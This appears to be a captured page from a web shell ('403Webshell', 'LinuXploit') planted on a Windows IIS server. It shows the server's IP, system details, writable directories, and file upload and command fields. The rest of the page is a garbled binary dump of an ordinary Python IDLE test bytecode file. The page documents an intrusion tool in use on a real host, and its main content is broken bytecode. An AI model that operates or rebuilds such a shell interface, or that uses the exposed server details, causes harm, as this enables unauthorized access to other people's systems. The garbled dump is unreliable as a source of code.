403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.18
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Python313/Lib/idlelib/idle_test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Python313/Lib/idlelib/idle_test/__pycache__/mock_idle.cpython-313.opt-1.pyc
�

��i���P�SrSSKJr "SS5r"SS5r"SS5rg	)
zqMock classes that imitate idlelib modules or classes.

Attributes and methods will be added as needed for tests.
�)�Textc�(�\rSrSrSrSSjrSrSrg)�Func�a2Record call, capture args, return/raise result set by test.

When mock function is called, set or use attributes:
self.called - increment call number even if no args, kwds passed.
self.args - capture positional arguments.
self.kwds - capture keyword arguments.
self.result - return or raise value set in __init__.
self.return_self - return self instead, to mock query class return.

Most common use will probably be to mock instance methods.
Given class instance, can set and delete as instance attribute.
Mock_tk.Var and Mbox_func are special variants of this.
Nc�F�SUlXlX lSUlSUlg)Nr)�called�result�return_self�args�kwds)�selfr	r
s   �0C:\Python313\\Lib\idlelib\idle_test\mock_idle.py�__init__�
Func.__init__s"�������&����	���	�c���U=RS-
slXlX l[UR[
5(aUReUR(aU$UR$)N�)rrr�
isinstancer	�
BaseExceptionr
)r
rrs   r�__call__�
Func.__call__sM�����q����	��	��d�k�k�=�1�1��+�+��
�
�
��K��;�;�r)rrrr	r
)NF)�__name__�
__module__�__qualname__�__firstlineno__�__doc__rr�__static_attributes__�rrrrs����	rrc�,�\rSrSrSrSSjrSrSrg)�Editor�(z1Minimally imitate editor.EditorWindow class.
    Nc�R�U=(d
 [5Ul[5Ulg�N)r�text�
UndoDelegator�undo)r
�flist�filename�key�rootr$s      rr�Editor.__init__+s���N�D�F��	�!�O��	rc�t�URRS5nURRS5nX4$)Nz1.0�end)r$�index)r
�first�lasts   r�get_selection_indices�Editor.get_selection_indices0s.���	�	����&���y�y���u�%���{�r)r$r&)NNNNN)rrrrrrr1rrrrr r (s���AE��$�
rr c�$�\rSrSrSrSrSrSrg)r%�6z0Minimally imitate undo.UndoDelegator class.
    c��gr#r�rs r�undo_block_start�UndoDelegator.undo_block_start:���rc��gr#rr6s r�undo_block_stop�UndoDelegator.undo_block_stop<r9rrN)rrrrrr7r;rrrrr%r%6s���
�
rr%N)r�idlelib.idle_test.mock_tkrrr r%rrr�<module>r>s.���
+���@��
�
r

Youez - 2016 - github.com/yon3zu
LinuXploit